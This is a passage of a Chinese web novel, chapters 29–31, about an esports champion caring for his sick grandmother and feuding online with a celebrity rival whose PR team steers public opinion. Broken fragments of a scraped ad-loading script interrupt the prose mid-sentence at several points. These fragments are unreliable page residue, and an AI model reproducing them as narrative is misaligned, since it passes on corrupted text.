就在网上关于林奚代言人的消息愈演愈烈时，异界之巅的官方终于发布消息，官宣了林奚是华国赛区形象代言人的消息，并配上了九张印有异界之巅水印的林奚写真。 评论区炸了—— 【啊啊啊啊我奚出息了！！！】 【家人们，双厨狂喜谁懂啊。】 【出道第一个代言就是全球现象级的大游戏，奚奚真的厉害。】 【虽然评论里都是夸林奚的，但我还是要问一句，林奚谁呀？】 【喵的喵的喵的，这林奚会打游戏吗？决赛解说时不会丢人吧？】 【回楼上，林奚打游戏可厉害了。】 【是吗？什么段位啊？战绩拉出来溜溜啊。】 还没等游戏粉跟林奚粉吵起来，紧接着林奚就转发了异界之巅的微博，并晒出了自己的段位截图—— [非常高兴能加入异界之巅的大家庭，我也是异界的骨灰级玩家！] [截图.jpg][截图.jpg] 而林奚这条微博排名第一的评论，则是一个小粉丝的喊话： 【原来半个月前我晋级赛遇到的是奚奚！幸福到冒泡泡！奚奚的中单真的玩得很好QAQ躺赢的感觉太好了。 [动图.gif][动图.gif] 】 【哇！姐妹你是什么神仙运气】 【羡慕嫉妒恨！】 【这个姐妹主页放了跟奚奚完整的排位视频，大家全去看呐！】 【纯路人，有一说一这纯色梦魇打得针不戳。】 【操作真的6，好久没看见过这么养眼的法刺了】 【技术玩家，服了服了，这哥可以的】 【真是林奚自己打的吗？我怎么这么怀疑呢？】 【楼上真是阴谋论！滚粗！】 任何东西都没有一张王者段位的截图和一段秀到极致的操作视频来得有说服力。 评论区刚才还是质疑之声，而现在就是一边倒的夸赞。 [祝贺小奚成为华国地区的异界代言人，恭喜啊。] 林奚心情颇好地回了齐光茂的祝贺：[也有你的功劳，感谢前些日子的陪练。] “电子竞技，菜是原罪。”张青婉捋了捋头发，“这句话其实适用于各个领域，尤其是娱乐圈。” 林奚放下手机，轻笑一声：“还是青婉姐想得周到，这个在评论区放动图的主意真是神来之笔。” “人们只会相信他们自己所找到的‘真相’。”张青婉老神在在，“做艺人，千万不要陷入自证陷阱，有些话有些事，让别人来说，别人来做更有说服力。” 林奚暗暗点头：“受教了。” 因为异界官方宣布代言人的消息，各大俱乐部难得在休赛期集体上线，转发官方的微博。 只有TD一直毫无动静，急得异界的宣传组给TD打了好几个电话，但却都如石沉大海。 徐泽是知道鹿溪午跟林奚的关系的人，他之所以一直迟迟压着消息不让TD官微发，就是在考虑鹿溪午的感受。 “……事情就是这样，TD永远是你的后盾。” 鹿溪午耐心听徐泽说完了事情经过，眼中闪烁着最真挚明亮的笑意，“谢谢你，徐哥。” 从鹿溪午嘴里听到久违了的称呼，徐泽也不由得露出会心一笑：“咱们的关系还用道谢？” “我知道你为我考虑，但是得罪异界官方总归是不好的。不过一条微博而已，没关系的。” 徐泽很铁不成钢：“不是？你还真给林奚面子啊？” 鹿溪午笑了一下：“哪是给他面子，这不是看在咱们TD的面子上嘛。还要在联盟混呢，咱们不搞特殊。” “……行吧，那我可就转发了啊。”徐泽说得犹豫。 TD最终也转发了微博，不过跟其他俱乐部花里胡哨的文案相比，TD就只是高冷地转发了官方宣布的微博，除此之外，再无动作。 就连粉丝也察觉到了一丝不同寻常的味道—— 【怎么今天的TD官博这么安静？不符合它平时话痨的风格啊】 【对哦，是不是换了一个宣传小姐姐啊？】 【大胆猜测一下，是不是因为这个新代言人？】 不管粉丝猜测如何，总归热度是有了。 得益于各个俱乐部庞大的粉丝基础，渐渐地，#林奚异界之巅#这个词条被顶上了热搜第一。 这次林奚没有出钱买热搜位，头一次是他自己实打实地靠热度获得了第一。 林奚望着自己飞速上涨的粉丝数，不由得有些感慨，若是自己没有获得异界之巅这个代言，会发生什么呢？ . 鹿溪午看着手机里的消息，见到TD官博终于转发了微博时，他略微松了一口气。 很快，鹿溪午便又重新收拾好自己的表情，走进市医院的大门。 这些天，鹿溪午一直医院学校两头跑，虽说有护工赵姨，但鹿溪午仍然会在自己力所能及的范围里照顾鹿奶奶。 时光飞逝，鹿溪午从没有像这一刻一样意识到自己能和鹿奶奶相处的时间可能不多了。 也许是过一天便少一天…… 鹿溪午很珍惜现在这样能和鹿奶奶相处的时间。 只不过经历了一场开胸手术，老人家操劳了一辈子的身体恢复得很慢，精气神也不如以往。 鹿溪午到医院的时候，大多数时间鹿奶奶都在睡着。 只有每天下午四点左右，鹿奶奶会迎着遥遥温吞的夕阳，懒洋洋地跟鹿溪午说会儿话。 鹿溪午正是踩着这个点儿来医院看望。 “——奶奶，今天感觉怎么样啊？” 鹿溪午提着东西，熟门熟路地走进病房，却在病房里见到了一个意料之外的人—— “学长？” 贺存坐在床边，看着正跟鹿奶奶说话的样子，笑着跟鹿溪午点了点头，算作是招呼。 “溪午来了？”鹿奶奶躺在病床上，床头被摇高了一些，脸色看着比前几天红润一些，手指着一旁的空凳子，“快坐。” 鹿溪午连忙把东西放下，伸手去扶住鹿奶奶的胳膊：“您别动，我坐下了。医生说您的刀口还没好呢——对了，学长怎么在这儿？” “我今天路过，顺便来看看。不过，我也该走了。”贺存看了眼腕表，体贴地准备告辞。 “和您聊天真愉快。”他望向鹿奶奶，“您先好好养身体，过几天我再来看您。” “小存这就走啦？再坐会儿吧。”鹿奶奶明显对贺存这个举止有度的年轻人好感不低。 小存？ 鹿奶奶什么时候跟学长这么熟了？！ 鹿溪午目瞪口呆，总觉得他不在的时候发生了许多他不知道的事。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不了鹿奶奶，我还有事，等下次吧。”贺存笑着拒绝，“您也正好和溪午说说话。” 鹿奶奶瞥了一眼还在发愣的鹿溪午，心中颇为有些恨铁不成钢。 “咳咳！溪午啊，愣着干嘛呢，快替奶奶送送小存。” “啊？哦！”鹿溪午如梦初醒，“学长，我送你吧。” 贺存没有拒绝，反而绅士地拉开了病房的门，示意鹿溪午先走。 两人并排走在医院的走廊上，消毒水的味道弥漫在鹿溪午的鼻端，形形色色的人急匆匆地与他们擦肩而过。 电梯前，鹿溪午终于开口了—— “学长……谢谢你来看望奶奶。” “长辈生病，做小辈的本就应该来看望，不用言谢。” 贺存摇摇头，眼神在鹿溪午身上巡睃一圈，“都瘦了，这几天很辛苦吧。” 鹿溪午摇摇头，“有赵姨在，我还好。” “刚才鹿奶奶让我劝劝你，不用天天到医院来，她看着你来回跑，总担心你身体承受不住。” 贺存注视着鹿溪午，眼神像是一池柔静的湖水，温和又包容，“但我知道你不会听的。” “我……我只是……”被猜中心思的鹿溪午既没承认也没否认，犹豫着不知该如何解释。 “嘘……”贺存温柔地制止了鹿溪午的纠结，“没关系，我都知道。想做什么就去做吧，如果这能让你好受一些的话。” “对了，晚上你就在医院吃吧，我让赵姨也给你做了营养餐。” 贺存的话语像是来自山间的风，微微抚在脸上，舒适且安心。正如贺存这个人带给鹿溪午最大的感受——可靠。 这对从小在孤儿院长大的鹿溪午是种新奇的体验。他自小就被人灌输着事事要努力，要靠自己的观念。 有麻烦必须自己解决，因为院长和护工都很忙；情绪低落必须自己消化，因为孤儿院的温饱比不开心更重要。 靠别人不如靠自己。正是因为鹿溪午这样独的性子，在战队时被徐泽训过很多次。 但是，鹿溪午却偏偏从贺存身上感受到了可靠的气息，就像是在黑暗中茕茕独行的旅人见到了一缕微光，让人不由自主地想靠近。 “喵——” “诶？哪儿来的猫？” 来来往往的医院角落里，一只半大的灰色田园猫趴在垃圾桶的旁边，扯着嗓子叫着，看起来精神不错。 贺存朝它伸出手，小猫也不抗拒，试探性地嗅了两下就往贺存手上爬。 “这个年纪的小猫估计是调皮坐着电梯乱跑上来的。趁它没被发现，我把它带出去。” 说罢，贺存伸手捏住了小猫的后颈皮，小猫也不挣扎，乖乖地任人摆布。 鹿溪午瞧着贺存如画般专注的眉眼，抿紧了嘴唇。 看呐，他就连瞧着一只小猫的神色都是温和包容的，那是菩萨的低眉，是山风的俯耳，是月亮洒落人间的光。 其实细究起来，自己和这些大街上随处可见的流浪动物又有什么分别呢？ 叮—— 电梯打断了鹿溪午的思路。 “就送到这儿吧。”贺存迈步走进电梯，“不管怎么样，注意身体。” “……知道了，谢谢学长。” 鹿溪午看着贺存手里提溜的小猫，终是复杂地扯出些笑容来，千头万绪汇聚成一句：“开车小心。” 29.知晓 贺存其实没有说谎，他是真的要去公司，路过医院时顺便来看看鹿奶奶。 最近贺存接手了贺家华曙集团的互联网合作内容，加上学校的学业压力，贺存是真的有点忙得分身乏术。 不然以贺存的修养，是断然做不出来顺道去看望长辈的行为的。 这次去公司，其实是去见贺晋城，华曙目前的当家人，也是贺存的父亲。 贺晋城已经年逾五十，但优越的骨相令他看上去只有四十出头，眼角的细纹反而更他增添了几分岁月的沉淀，常年的上位者经历更是造就了他一身渊渟岳峙的气度。 贺存的外貌有相当一部分是继承了来自贺晋城的优点。 贺晋城看着面前这个长身玉立的青年，很是久违地叹了口气：“回国这么久，怎么没见你回一趟老宅？” “忙忘了，等过两天我就回去。”贺存说得风轻云淡。 秘书送来一壶热茶，分别给两人倒上，动作迅速又安静。 贺存看了眼秘书出门的背影，仿佛不经意提起一般：“对了，需要我提前告知吗？我怕您跟妈妈都不在老宅。” 贺晋城当然听出贺存这句话意有所指，不自然地清了清嗓子：“你回来我们当然在了。” 贺存平静地望了一眼贺晋城，转而提起另一件事：“您叫我来，不是要问我方案的事情吗？” “当然不是。”贺晋城端起茶杯，吹了吹浮沫，“当初把这部分的业务交给你时我就说过，你自己做成什么样就是什么样——我叫你来，只是想问，你确定不跟林氏合作？” “我想我的计划书已经写得很详细了？” 贺存扬眉一笑，露出几分独属于年轻人的自信来，“林氏的电商平台对我们的帮助并不大，反而它还要靠华曙拓宽市场，这可不是一笔划算的买卖。” “林氏最近在准备美国上市的事情，要是成功的话，它们就能拿到新一轮的融资，到时候……” 贺存听明白了贺晋城的未尽之语，“那就等他们拿到资金再说。” 贺晋城点点头，一个林氏对于华曙而言可有可无，他只不过想确认贺存的想法而已。 “你的计划书我看了，我觉得很有潜力。网络流量变现的问题确实是一片蓝海，放手去做吧。” “您就只想说这个？” “对啊，我就是想看看你对林氏，究竟是——”贺晋城端着茶杯抬眸，狭长的眼眸中闪过促狭的神色，“冲冠一怒为蓝颜呢，还是真的深思熟虑过了。” “什么……蓝颜？”贺存差点没一口茶水噎死，“您在说什么？” 贺晋城一脸“我懂”的表情：“我以为你是在为你那个小男朋友出气？” “……他还不是我男朋友，我们还没有正式交往。”贺存只能干巴巴地吐出一句解释。 “原来你是真的喜欢人家。”贺晋城恍然大悟，“那也可以给你的准男朋友出个气，毕竟林沂天这件事做得不地道。” 贺存更疑惑了，迟疑地放下茶杯：“他……跟林沂天有什么关系？” “嗯？你不知道？”贺晋城惊讶，“这不是你的风格，你没查过你的准男朋友吗？” 贺存立马肃了神情，眉头紧皱：“您查人家了？！” “我可没有。” 贺晋城急忙澄清自己，他看着贺存严肃的神情，心道这小子是真的把人放在心上了。 “一个偶然的机会知道的，那小孩儿，是林沂天的亲生儿子。” 贺存霍的从椅子上站起，双目圆睁，神情震惊。 ——林沂天和鹿溪午……是父子？！ “你孙叔叔不是手底下有好几个公益项目吗？上次他跟我喝酒时，无意中透露的。放心，只有我们俩知道。” “具体失散的原因已经不重要了，关键是林沂天做得有些过分了，多养一个孩子对林氏又不是什么难事。因为名声不认亲生儿子，到底还是做得太过了。” 贺晋城叹了口气，“怎么？这些……你都不知道？” 贺存从来没有查过鹿溪午，也没有要求他跟自己坦白什么。他总是想着时间到了，鹿溪午自然就能打开心扉跟自己聊聊。 但没想到，在他不知道的地方，原来鹿溪午受了这么大的委屈。 贺存突然想起几个月前鹿溪午那一次锋芒毕露的直播，还有自己在图书馆前捡到的失魂落魄的小斑比，还有那天自己在监控里看见的林修跟林奚…… 原来，不是什么偶然的心情不好，而是…… 贺存摘掉眼镜，烦躁地捏了捏鼻梁：“是我疏忽了。” 莫名的，贺存突然从心底涌出一股强烈地想要见鹿溪午一面的欲望。 “您好好休息。” 贺存说走就走，“我有事先走了啊。” 贺晋城看着贺存急匆匆的背影，顿感不可思议：“我老贺家居然真的出了一个情种啦？” 从集团到医院有半个小时的路程。 而这三十分钟的时间，也足够浇灭贺存冲动炽热的念头。 见到鹿溪午了之后呢？说什么？问什么？该用什么表情面对他？他又会怎么想？ 杂乱的思绪翻飞，贺存逐渐冷静下来，此时并不是一个见鹿溪午的好时机。 可理智是很难完全抑制情感的。 从医院停车场到心外住院部要上九楼。 贺存走过充满消毒水味道的走廊，鹿奶奶的病房在走廊的尽头。 透过病房门前的小窗，贺存看见了鹿溪午。 他正帮已经睡着的鹿奶奶掖被子，神情专注，动作轻柔，长睫随着眨眼而颤动，活似小鹿轻盈地短暂地跃起又落下的蹄子。 贺存突然就理解了鹿溪午为什么要坚持每天来照顾鹿奶奶。 可能对鹿溪午来说，鹿奶奶就是他在这个世界上唯一的亲人了。 . 鹿溪午回家的时候已经是晚上十点半了。 他迅速换了衣服，开了电脑，终于赶在十一点之前开了直播。 “对不起啊各位观众，最近家里出了一点变故，开播的时间晚了一些，抱歉抱歉。” 如果不是今天直播平台的工作人员提醒了鹿溪午，那他差点就又要播不够时长了。 【没事啦，家里忙的话先不播也可以】 【D神不用道歉，我们都理解的】 【好好休息，下次再播也一样】 “没关系，现在有时间了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。”鹿溪午回应着弹幕，打开了游戏界面，“今天就随便打打排位吧，弹幕有想看的吗？” 霎时间，屏幕上一片五彩斑斓的礼物飘过，鹿溪午优越的动态视力一下辨认出弹幕呼声最高的英雄——纯色梦魇。 这是赛季的新中单英雄，鹿溪午还没来得及做这个英雄的操作教程。 “那就拿纯色梦魇吧，还可以顺便讲讲这个新的法刺怎么打。” 【久违的法刺小课堂】 【呼唤干脆面老板——】 【好久没看见D神跟干脆面老板双排了耶】 鹿溪午看到弹幕里提到干脆面老板，忽地意识到自鹿奶奶生病以来，自己已经很久没有问候过这位大佬了。 等过几天还是关心一下大佬吧。 鹿溪午想着，手上也不停地锁了纯色梦魇的这个英雄。 “纯色梦魇是很典型的法刺，伤害机制跟寒冰荆棘有些相似，都是靠标记打伤害。但梦魇的标记没有减速效果，消失得也很快，但对应的伤害也高。” 鹿溪午耐心地讲解着这个英雄的机制，手上却操纵着纯色梦魇在中路吃兵，一心两用得很是熟练。 对面的中单是带控制的铸铁囚徒，跟打野火焰纹章配合，准备在中路蹲一波鹿溪午的一血。 “观众朋友们看，我猜这个时候对面打野肯定在草丛蹲我，为什么呢，你看囚徒这个跃跃欲试的走位……演技差了点。” 【哈哈哈哈哈哈哈D神辣评对面演技】 【九敏，D神究竟是怎么样看出来对面在演？】 【可能这就是天赋吧？】 铸铁囚徒的二技能是一个铁链特效的强控，被击中的英雄会强制陷入昏迷两秒，不可解控。 鹿溪午对异界之巅的每一个英雄的技能都烂熟于心，他一眼就看出对面的囚徒在找角度想要控住自己。 “纯色梦魇前期有点脆，我们攒攒标记，猥琐发育。” 【大魔王开始猥琐发育了，难得】 【我觉得这波可以打诶，反正梦魇有五个标记在手】 鹿溪午瞟了一眼弹幕，“打不了，对面打野在蹲我呢。” 说罢，像是应证鹿溪午的话似的，铸铁囚徒的二技能和火焰纹章几乎是同时达到纯色梦魇的头上。 在攻击即将落在头上的前一秒，纯色梦魇的身上闪过一道白光，紧接着消失在原地—— 它回城了。 铸铁囚徒和火焰纹章扑了个空。 但鹿溪午早已有所防备，预判了对方的行动，提前读了回城的条。 纯色梦魇一走，中路一塔就放了出来，但鹿溪午回城时清干净了兵线，对面也只打掉了一塔的半管血就不得不撤退。 有点小亏。 【妈呀好险！】 【为什么读回城条却不闪现？躲过囚徒的二技能是可以反打的。】 【那风险有点高吧，不送一血求稳就挺不错了。】 【我怎么感觉这场景有点似曾相识？】 【别说，我也感觉我见过】 而在林奚那条官宣形象代言人的微博下面，高赞评论其中一个，就是林奚操纵的纯色梦魇反打火焰纹章和铸铁囚徒的动图。 30.舆论 鹿溪午下播时，已经有好事之人把两人的操作对比做成视频放到了网上—— [新晋代言人实力全解析，已超中单法王deer] 虽然两人都是操作的纯色梦魇，对手也都是铸铁囚徒与火焰纹章，但即使是这样，两人之间也不存在任何的可比性。 然而林奚的粉丝们却是个极其擅长自嗨的群体。 不少没有玩过异界的粉丝纷纷在视频下方留言： 【奚奚真厉害！】 【科普：这个deer是S8的冠军哦】 【奚奚的游戏水平居然比冠军还厉害吗！！！】 【嘛呀，奚奚真是做什么都厉害】 【点进来整一个大问号，这是什么失智现场？】 【你家爱豆跟冠军的水平相差一个次元好吗？自己去玩玩游戏再来说话吧！】 【这有什么可比性啊？这博主是lx的水军吧】 【娱乐圈恶臭行为滚出电竞圈！】 【什么意思？我家奚奚厉害还不让我们说了吗？】 【世界冠军这么高贵？就不允许别人超过他是吗？】 【举报了家人们】 …… 等第二天鹿溪午看见微博热搜时，事情俨然已经演变为他的粉丝和林奚的粉丝的大型互殴现场。 林奚的粉丝不多，但训练有素，战斗力极强，甚至能与电竞祖安区一决雌雄。 鹿溪午大致了解了一番来龙去脉后，很是头疼了一番。 怎么偏偏又是林奚？！ 他鹿溪午真是跟林奚八字不合！ 该怎么回应这件事才既维护自己粉丝又不下对方的面子？ 鹿溪午看了看昨天的直播回放，自己的抉择没有任何问题，前期虽然亏了一些防御塔，但也省了一个闪现。正是这个闪现在后面的团战之中发挥了重要作用，切进对面的后排拿了三杀。 要不就用昨天的对局剪个纯色梦魇的教学视频吧？算是侧面回应了自己与林奚的争议，也能填上法刺教学的坑。 说干就干。 趁着今天是周六，鹿溪午正好有时间来剪辑视频。 而恰在此时，徐泽的电话正好打来—— “网上的事情我看了，要TD帮忙吗？” 鹿溪午叹了口气：“你可别掺和了，本来就是一滩浑水，越搅越浑。” 徐泽也不耐地啧了一声：“林家这些人真是不安分，我就说别给林奚面子吧，你看看，让人欺负到头上来了。” “不是什么大事。”鹿溪午一边剪素材，一边夹着手机，“压力又不在我身上，不是吗？” “大哥，你要不要看看网上言论都成什么样了？你还没有压力？”徐泽无奈挠头，“你让我干点什么帮你吧？不然我这良心过不去啊。” 鹿溪午挑眉：“正好，我还真有一个忙需要你帮我。” “什么？”徐泽瞬间兴奋，他撸起袖子，“你说！” “登录游戏，跟我打几局。” . “这个热搜就不能撤下去吗？”林奚烦躁地攥着手指，“刚才在电竞圈拉的好感这下全没了！” 林奚还没有自大到觉得自己现在就能跟deer的热度硬碰硬的地步，这一波明显是被对家抓住了机会，在败他林奚的形象。 张青婉盯着元嘉公关部的电脑，眉头拧成了一个死结，嘴角罕见地向下抿着：“撤了有什么用？转发的营销号不在少数。” 元嘉的公关部忙得热火朝天，人人都是行色匆匆，面色严肃。 这波要是小少爷舆论处理不好，估计他们这些人都得扣工资。 “既然损失已经无法避免，那就干脆利用这次机会，谁说黑红不是红了？”张青婉敲了敲手肘，当下就做了决定。 林奚很犹豫，他一向爱惜羽毛：“可是……” “这波是我们反应慢了，任由舆论发展到这一步已经难以挽回了。”张青婉拍拍林奚的肩，权作安慰，“既然损失已经是板上钉钉，那就要把它降到最低。” “那我们？” “先不做回应，让网友把话题热度炒上去。” …… 网络上的骂战在林奚团队的有意纵容下发展迅速，热度节节攀升。 不少跟鹿溪午关系要好的电竞选手都来打探情况，询问是否要帮忙澄清。 鹿溪午一一感谢了朋友们的热情，并表示自己已经有了应对的方法。 下午，鹿溪午一条“纯色梦魇对局教学视频”悄然发布在账号下方。 视频里不仅对昨天的对局进行了详细地解说，更是贴心的在末尾附上了闪现反杀的操作注意事项，并配有实操视频。 【看到没？这就是世界冠军的实力！】 【人家不仅有操作，还有大局观！】 【只有我一个人同情视频结尾被反复摩擦的ID吗？】 【那一看就是徐泽教练的ID】 【kdlkdl】 这条视频一出，几乎瞬间便登顶了热搜。 鹿溪午教学视频中的一句“闪现反杀很难吗？”更是成了粉丝嘲笑林奚的一句梗。 【笑死，@歌手-林奚闪现反杀很难吗？】 【林奚闪现反杀：天呐！高光时刻 D神闪现反杀：嗯？这很难吗？】 【lxfs看见了吗？D神不仅会闪现反杀，还能用六种不同的方法哦】 【这脸打得啪啪的】 徐泽第一个转发了鹿溪午的视频，顶着跟视频里被杀六次的相同ID发文：[特此澄清，这人绝对不是我！！！] 【你要不把你的ID换换再说话？】 【这感叹号，我不信】 【怎么能这样呢，徐教练都官方澄清了，我们应该相信他，应该……不行了编不下去了，我也不信哈哈哈哈哈】 GH的sad也转发了鹿溪午的视频，并表示：[其实还有第七种闪现反杀的方法，见下图] [动图.gif] 【九敏，他们俩也好好磕】 【哈哈哈哈哈哈笑死，这是什么大型做作业现场？】 【有一种看学霸做压轴题比谁方法多一样】 【那我只能写一个解QAQ】 而sad的转发像是打开了一扇新世界的大门，不少电竞选手纷纷转发鹿溪午的视频，并附上了第八，第九等等一系列的反杀方式。 而最好笑的是陆云小朋 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 友，他出了一身加速装，并带了引燃活活把火焰纹章烧死在塔下，然后战战兢兢地艾特鹿溪午： [第十二种，可以么@deer] 【cloud真的好呆哈哈哈哈哈哈哈】 【连闪现都没用的反杀】 【某人的脸更疼了吧？嘻嘻嘻】 【这简直是电竞圈的大型团建现场】 【感谢林奚老师为我们送来的一场好戏】 …… “青婉姐，我们还不出手吗？”林奚出道以来从来没承受过这么大的恶意，虽说语气与往常并无区别，但细听之下仍能听出丝丝颤抖。 “火候到了，卖惨，才会有效果。”张青婉看了一眼屏幕里对于舆论的实时监控数据。 眼看舆论开始变得一边倒地嘲讽林奚，张青婉的准备也终于可以开始上场。 先是林奚的账号发出了一则言辞恳切的道歉声明，称占用了公共资源，为自己团队工作的不及时向各位粉丝以及受波及的deer道歉。 为表诚恳，这则道歉声明是林奚手写稿，言语间，将一切责任都拦在了自己身上。 另一边林奚工作室的官方账号则是贴出了一张律师函，状告林奚与鹿溪午对比视频的剪辑者引导舆论。 恰在此时，平台官方也公布了一批封禁的营销号名单，而那位视频剪辑者赫然在列。 被追着骂了许久的林奚粉丝总算扬眉吐气了。 【我就知道奚奚不是这样的人】 【带节奏的明明就是那些营销号！跟我们没关系】 【纯路人，说句公道话，明显林奚就是被人阴了】 【电竞粉们睁大眼睛看看吧！你们别再被当枪使了】 【这波深扒真的有好多瓜可以吃！】 鹿溪午也看见了林奚团队的一系列动作，短短一封道歉信和律师函，就扭转了舆论方向，成功把林奚变成了一个受害者的形象。 他不得不感叹：“这就是娱乐圈吗……” “这林奚，反应倒是快。”徐泽很是不爽，“你被嘲的时候他是屁都不放一个，眼看骂到自己了，倒是麻溜地出来卖惨博同情了，什么人呢这是！” 徐泽越说越来气：“你看看这道歉信，表面上是道歉，实际上呢？他这不是逼你出来表态吗？他倒是哭哭啼啼成好人了，你又被架起来了。” 鹿溪午一脸冷淡刷着网上的评论，大多都是在扒林奚跟他对家的积怨，两方粉丝的怒气已经完美被祸水东引，林奚摇身一变成为了全网同情的对象。 “互联网真是个很有意思的地方。”鹿溪午退出软件，揉了揉发酸的眼眶，“人的思想原来这么容易控制。” “唉哟大哥，你就别感慨了，快想想怎么回应林奚吧。” 但鹿溪午却斩钉截铁地回答：“不回，有什么好回应的，又免费给他蹭一波热度？” 在见识了林奚团队的手段后，徐泽对鹿溪午的拒绝很是担忧：“你不回应，该不会被扣一顶冷血无情的帽子吧？” “我又不在乎别人怎么看。”鹿溪午开始收拾东西，准备去医院看望鹿奶奶。 鹿溪午的心很小很小，除了自己家人和朋友，其他的人的看法又有什么所谓呢。 31.又见 鹿溪午觉得医院有时候是一个很神奇的地方，可以见到许多意想不到的人。比如学长，又比如林修。 两双相似的眼眸对视在一起时，饶是以林修的处变不惊，也是愣了几分。 “……好久不见。” 鹿溪午没有回应林修的问候，反而率先转开视线，用一种极为冷峭的语气：“你来做什么？” “我听说孤儿院的鹿院长生病了，特地来看看。”面对鹿溪午的淡漠，林修也敛下情绪，“毕竟她养大了你……” “奶奶的养育之恩我自然会报答的。”鹿溪午伸手搭上病房的门把，头也不回道，“看过了就回去吧。” “等等——” 林修急急叫住鹿溪午，“我有话跟你说！” 鹿溪午停住动作，转过头盯着林修，浅色的瞳眸是那样的冷然，仿佛冬日结冰的湖面，料峭凛冽。 漠然的眼神使得林修心中泛起微波，不管怎么说，他们毕竟是亲兄弟，是他曾经那么期待盼望的弟弟—— “妈妈，弟弟今天动了吗？他有没有想我啊？”小林修急吼吼地冲进房间，扑到林母的床沿，“弟弟醒着吗？我可以跟他问好吗？” 林母笑着摸摸小林修的头，拉着他的小手放到自己隆起的肚子上：“小修摸摸弟弟吧，他现在醒着呢。” 小林修能够清晰地感受到掌下传来的动静，惊喜地瞪大双眼：“妈妈，弟弟在动！” 一旁的佣人笑着打趣小林修：“少爷怎么就这么确定是个弟弟呀？万一是个妹妹怎么办呢？” “嗯……”小林修歪着头思考了好一阵，不讲道理地肯定到：“肯定是弟弟！” “万一呢？” “不可能，我梦见过啦，一定是弟弟——弟弟弟弟，我说得对吧？” 小林修的童言童语把林母跟佣人都逗笑了，他只记得母亲拂过自己额头的温度，以及那温柔的话语： “好啊，那小修以后要保护好弟弟呀。” 后来世事无常，阴差阳错，他以为他践行了保护弟弟的诺言，但其实愧对鹿溪午良多。 想到往事，林修的神情柔和了不少：“我有话跟你说，我们谈谈，好吗？” “……行。” 鹿溪午转身，双手插兜走在前方，目不斜视地按下电梯键，全程没有多看过林修一眼。 他答应林修的原因很简单，在医院他害怕惊动鹿奶奶，而鹿溪午最不想鹿奶奶再操心。 对于林家的人，鹿溪午已经不会抱有任何期望。 此时街上已是华灯初上，晚高峰的末尾仍然在马路上上演，此起彼伏的喇叭声融进了嘈杂的街市，成为点缀路上行人各怀心事的一部分。 医院附近的便利店。 鹿溪午买了两份关东煮，端着纸筒坐到窗边，将其中的一份放到林修的面前：“将就吃吧。” 林修似乎是在走神，盯着面前的关东煮，含含糊糊地回应了一句：“你跟小奚真的不一样，他从来不喜欢这些。” 说完，林修立即反应过来此话不妥，“——我不是那个意思！我就是……” “没事，要谈什么？你说吧。”鹿溪午用签子叉鱼丸吃，丝毫没把林修的话放在心上。 “我想了很久，还是想跟你好好解释一下爸爸选择先不认回你的原因……” 鹿溪午终于抬眉认真地看了一眼林修，平静道：“不用了，之前律师已经跟我解释过了。” “那只是暂时的……”林修默了默，“爸爸为了集团的利益，不得不暂时委屈你。如果你有任何难处，可以随时来找我。” 窗外是灯火通明的市医院住院部大楼，冷白的光线洒在林修的额头和眉骨上，错落的阴影勾勒出立体的轮廓。 “我今天已经给市医院打了招呼，鹿院长治疗的一切费用都由我来出。” 鹿溪午却摇摇头，万分不想再跟林修有什么交集：“不用了，鹿奶奶的医疗费用我还是能负担的，你请回吧。” “别逞强，你能不能负担我还不知道吗？” 林修眉头紧皱：“我最近查了不少大热游戏的在役职业选手，都没有你的名字。这无非有两种情况，第一，你所在的战队实在是不入流的小角色；第二，便是你所在的游戏实在是太过小众，没有足够的受众维持热度。” “不管你是以上的哪两种情况，收入怕是一直成问题吧。”林修的指尖敲了敲桌面，带着连他自己都没有意识到的上位者对下位者的俯视。 “你真的能承担心脏搭桥的手术费，住院费，还有护工的护理费吗？别逞强。” 鹿溪午轻嗤一声，迎着林修居高临下的目光，一字一句地：“我能承担。” “你——”林修突然想起什么，烦躁地捏了捏鼻梁，“你是在说爸爸给你的三百万吗？那笔钱是想让你用来改善自己的生活的，不是让你用在这个上面的。” “你们自以为是的毛病什么时候能改改？”鹿溪午目露讥诮，“我说了我能负担，你是听不懂吗？还有，那三百万我从一开始就拒绝了林沂天，是他自己把钱捐、给、孤儿院的。” 鹿溪午端起自己没吃完的关东煮，跳下便利店的高脚椅：“我觉得我们没有必要再见面了——对了，谢谢你今天来看望鹿奶奶。” 望着鹿溪午决绝离去的背影，林修心中蓦地涌出一股不安之感，他情不自禁地喊道：“等等，鹿溪午！” 但鹿溪午却没有再回头。 . 林氏集团大楼。 “郑助，我哥怎么不在呢？我记得他今天没应酬啊？” 林奚今天下班偶然路过集团大楼，突发奇想跟林修一起吃顿饭，便上楼来找林修。 按往常的规律，林修没有出差应酬的日子一般都会在办公室工作，一直到晚上八点才下班。 但今天林奚却扑了个空，难得看见林修没有在办公室加班。 “小林总今天似乎有事出去了，说是要去看望一位病人。” 林奚更疑惑了：“什么病人？我没听说过最近谁生病了啊？” 郑助理努力回想了一下：“似乎……是一个姓陆的人？” 陆，还是鹿？！ 林奚陡然握紧了拳头，喃喃道：“是吗……” “呃……您说什么？” 林奚攒起一点笑容，尽量让自己看起来更自然一些：“我哥最近在忙些什么？” “这……”郑助理有些为难，按规定他们不能透露林修的工作内容，但林奚却不一样，是自家顶头上司最疼爱的亲弟弟。 忽然，郑助理灵光一现，想起一个并不是很紧要的事情：“最近小林总对游戏职业选手很感兴趣……” 游戏职业选手？ 林奚咬紧后槽牙：“你说我哥去看病人了，那个姓鹿病人在哪儿？”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “市医院……诶？您要走了吗？我叫个车送您吧——” 林奚没有回答郑助理的话，头也不回地走出了门。 “诶，这就是林氏的小少爷？脾气看着挺大啊。”新来的助理听见了两人对话的全部，忍不住发表了一句看法。 郑助理立即严厉地瞪了新助理一眼：“不该说的话别说，我记得第一天我就教过你了？” “对不起，郑哥。”新助理悻悻地低下头。 郑助理拍了拍新助理的肩膀，“我也是为你们好……” 他再次看了一眼林奚离开的方向，思索半天，还是给林修汇报了这件事。 医院便利店。 林修仍然坐在原位，面前一口没动的关东煮早已凉掉，似乎已经在这里呆了许久。 滴滴—— 手机的消息提示音终于打断了林修的沉思。 